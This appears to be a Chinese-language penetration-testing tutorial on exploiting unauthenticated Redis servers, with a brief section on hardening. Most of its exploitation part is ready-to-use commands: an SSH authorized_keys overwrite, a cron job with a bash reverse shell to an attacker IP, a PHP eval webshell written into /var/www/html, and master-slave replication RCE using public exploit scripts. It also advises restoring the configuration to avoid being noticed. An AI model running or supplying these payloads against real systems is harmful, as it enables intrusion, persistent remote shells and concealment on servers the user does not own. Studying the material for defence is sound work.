Redis利用思路
简介
redis
是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set --有序集合)和hash(哈希类型)。这些数据类型都支持push/pop
、add/remove
及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)
同步。
常用命令
set testkey "Hello World" # 设置键testkey的值为字符串Hello World
get testkey # 获取键testkey的内容
SET score 99 # 设置键score的值为99
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
get anotherkey # 获取一个不存在的键的值
config set dir /home/test # 设置工作目录
config set dbfilename redis.rdb # 设置备份文件名
config get dir # 检查工作目录是否设置成功
config get dbfilename # 检查备份文件名是否设置成功
save # 进行一次备份操作
flushall 删除所有数据
del key 删除键为key的数据
- 使用SET和GET命令,可以完成基本的赋值和取值操作;
- Redis是不区分命令的大小写的,set和SET是同一个意思;
- 使用keys *可以列出当前数据库中的所有键;
- 当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
- 如果键的值中有空格,需要使用双引号括起来,如"Hello World";
配置文件解析
在启动Redis服务器进程的时候,可以通过命令行参数指定一个配置文件,这样服务器进程就可以根据配置文件中设定的参数值来运行了。在redis-3.0.1目录下有一个redis.conf文件,这是一个默认的配置文件。
详解https://blog.csdn.net/weixin_42425970/article/details/94132652
port
格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。
bind
格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.1.100 10.0.0.1,表示同时绑定在192.168.1.100和10.0.0.1两个IP地址上。如果没有指定bind参数,则绑定在本机的所有IP地址上。
save
格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
save 900 1
save 300 10
save 60 10000
表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。
requirepass
格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。
dir
格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。
dbfilename
格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。
config
通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。
利用原理
Redis有两种持久化的方式:快照(RDB文件)和追加式文件(AOF文件):
- RDB持久化方式会在一个特定的间隔保存那个时间点的一个数据快照。
- AOF持久化方式则会记录每一个服务器收到的写操作。在服务启动时,这些记录的操作会逐条执行从而重建出原来的数据。写操作命令记录的格式跟Redis协议一致,以追加的方式进行保存。
- Redis的持久化是可以禁用的,就是说你可以让数据的生命周期只存在于服务器的运行时间里。
- 两种方式的持久化是可以同时存在的,但是当Redis重启时,AOF文件会被优先用于重建数据。
AOF备份文件名默认为appendonly.aof
,可以在配置文件中的appendfilename
设置其他名称,通过测试发现不能在客户端交互中动态设置appendfilename
,所以不能通过AOF方式备份写任意文件.
RDB方式备份数据库的文件名默认为dump.rdb,此文件名可以通过客户端交互动态设置dbfilename来更改,造成可以写任意文件.
环境搭建
靶机:unbantu 16
#下载源码:
wget http://download.redis.io/releases/redis-5.0.5.tar.gz
tar -zxvf redis-5.0.5.tar.gz
cd redis-5.0.5
make
#启动redis服务
cd src
./redis-server
可以指定配置文件启动(若不指定则以默认的配置文件启动):
./redis-server /etc/redis/redis.conf
绑定0.0.0.0 开启安全模式
启动redis
连接发现可以直接执行命令 protected-mode:yes 无效
不绑定IP地址 开启安全模式
可以成功连接,但是无法执行命令
不绑定IP地址 关闭安全模式
可以执行命令
总结
造成未授权访问有两种情况:
- 未开启登录验证,并且把IP绑定到0.0.0.0
- 未开启登录验证,没有设置绑定IP,
protected-mode
关闭
利用
0x01 写SSH-keygen
原理
SSH提供两种登录验证方式,一种是口令验证也就是账号密码登录,另一种是密钥验证。
所谓密钥验证,其实就是一种基于公钥密码的认证,使用公钥加密、私钥解密(非对称),其中公钥是可以公开的,放在服务器端,你可以把同一个公钥放在所有你想SSH远程登录的服务器中,而私钥是保密的只有你自己知道,公钥加密的消息只有私钥才能解密,大体过程如下:
(1)客户端生成私钥和公钥,并把公钥拷贝给服务器端;
(2)客户端发起登录请求,发送自己的相关信息;
(3)服务器端根据客户端发来的信息查找是否存有该客户端的公钥,若没有拒绝登录,若有则生成一段随机数使用该公钥加密后发送给客户端;
(4)客户端收到服务器发来的加密后的消息后使用私钥解密,并把解密后的结果发给服务器用于验证;
(5)服务器收到客户端发来的解密结果,与自己刚才生成的随机数比对,若一样则允许登录,不一样则拒绝登录。
利用条件
- root账号启动redis服务
- 服务器开放SSH服务,允许密钥登录。
实验
1.攻击机上生成公私钥
2.未授权访问redis
3.利用redis的数据备份功能修改备份目录为 /redis/.ssh/ 备份文件名为 authorized_keys
4.写入键值
5.ssh连接
成功了,看看在靶机上写入的authorized_keys
0x02 写计划任务反弹shell
用户定义的设置,位于文件:/var/spool/cron/用户名
原理
/var/spool/cron/目录下存放的为以各个用户命名的计划任务文件,root用户可以修改任意用户的计划任务。dbfilename设置为root为用root用户权限执行计划任务。
执行命令反弹shell(写计划任务时会覆盖原来存在的用户计划任务).写文件之前先获取dir和dbfilename的值,以便恢复redis配置,将改动降到最低,避免被发现。
利用条件
redis是root用户启动
实验
坑:crontab反弹debian,ubuntu都不行,因为他们对计划任务的格式很严格,必须要执行
crontab -u root /var/spool/cron/crontabs/root
通过语法检查后,才能执行计划任务。
ubuntu的坑参考这个文章:https://www.dazhuanlan.com/2019/11/15/5dce507a41df5/
连接redis
redis-cli -h 106.12.172.25
执行
#获取dir的值
config get dir
#获取dbfilename的值
config get dbfilename
#设置数据库备份目录为linux计划任务目录
config set dir '/var/spool/cron/'
#设置备份文件名为root,以root身份执行计划任务
config set dbfilename 'root'
#删除所有数据库的所有key
flushall
#将反弹shell写入xz键值
set xz "\n* * * * * bash -i >& /dev/tcp/192.168.56.130/8888 0>&1\n"
#写入保存路径的shell文件
save
#删除新增的key
del cron
#恢复dir和dbfilename
config set dir '***'
config set dbfilename '***'
nc -lvp 8888 监听等待即可
0x03 写webshell
利用条件
- 已知web的绝对路径
- 具有读写权限
不知道绝对路径时可以尝试目录爆破看下是否存在phpinfo文件,也可以尝试apache的默认路径:/var/www/html/
redis-cli -h 192.168.1.154
config set dir /var/www/html
set xxx "\n\n\n<?php@eval($_POST['c']);?>\n\n\n"
config set dbfilename webshell.php
save
0x04 利用主从复制获取shell
Redis支持主从同步。数据可以从主服务器向任意数量的从服务器上同步,从服务器可以是关联其他从服务器的主服务器。这使得Redis可执行单层树复制。存盘可以有意无意的对数据进行写操作。由于完全实现了发布/订阅机制,使得从数据库在任何地方同步树时,可订阅一个频道并接收主服务器完整的消息发布记录。同步对读取操作的可扩展性和数据冗余很有帮助。
原理
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
实验
下载利用脚本
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand/
make
git clone https://github.com/Ridter/redis-rce
python redis-rce.py -r 192.168.1.154 -L 192.168.1.153 -f module.so
参考:https://www.cnblogs.com/twosmi1e/p/13308682.html#3517039648
详细分析:https://paper.seebug.org/975/#redis
0x05 lua rce
高权限运行低版本redis的lua虚拟机,写文件失败时可以进行尝试。
参考:https://www.freebuf.com/articles/web/237263.html
https://www.anquanke.com/post/id/151203/
EXP: https://github.com/QAX-A-Team/redis_lua_exploit/
0x07 反序列化rce
当遇到 redis 服务器写文件无法 getshell,可以查看redis数据是否符合序列化数据的特征。
序列化数据类型分辨:
jackson:关注 json 对象是不是数组,第一个元素看起来像不像类名,例如["com.blue.bean.User",xxx]
fastjson:关注有没有 @type 字段
jdk:首先看 value 是不是 base64,如果是解码后看里面有没有 java 包名
redis 反序列化本质上不是 redis 的漏洞,而是使用 redis 的应用反序列化了 redis 的数据而引起的漏洞,redis 是一个缓存服务器,用于存储一些缓存对象,所以在很多场景下 redis 里存储的都是各种序列化后的对象数据。
参考:https://www.freebuf.com/articles/web/237263.html
脚本工具
利用
https://github.com/00theway/redis_exp
检测
https://github.com/Ridter/hackredis
防护
- 禁止一些高危命令
- 以低权限运行 Redis 服务
- 为 Redis 添加密码验证
- 禁止外网访问 Redis
- 修改默认端口
- 保证 authorized_keys 文件的安全
- 设置防火墙策略
总结
Windows下如何getshell?
- 写入webshell,需要知道web路径
- 写入启动项,需要目标服务器重启
- 写入MOF,MOF每隔5秒钟会自动执行一次,适用于Windows2003。
实战在生产环境下用还是会有很多问题的
- redis数据量稍微大一点,写shell到文件之后,php因为文件太大是会拒绝执行的
- Ubuntu,Debian写计划任务反弹无用
- 写/etc/passwd会覆盖原有/etc/passwd,不可能改了再改回来
- 生产环境下用
KEY *
这样的命令直接炸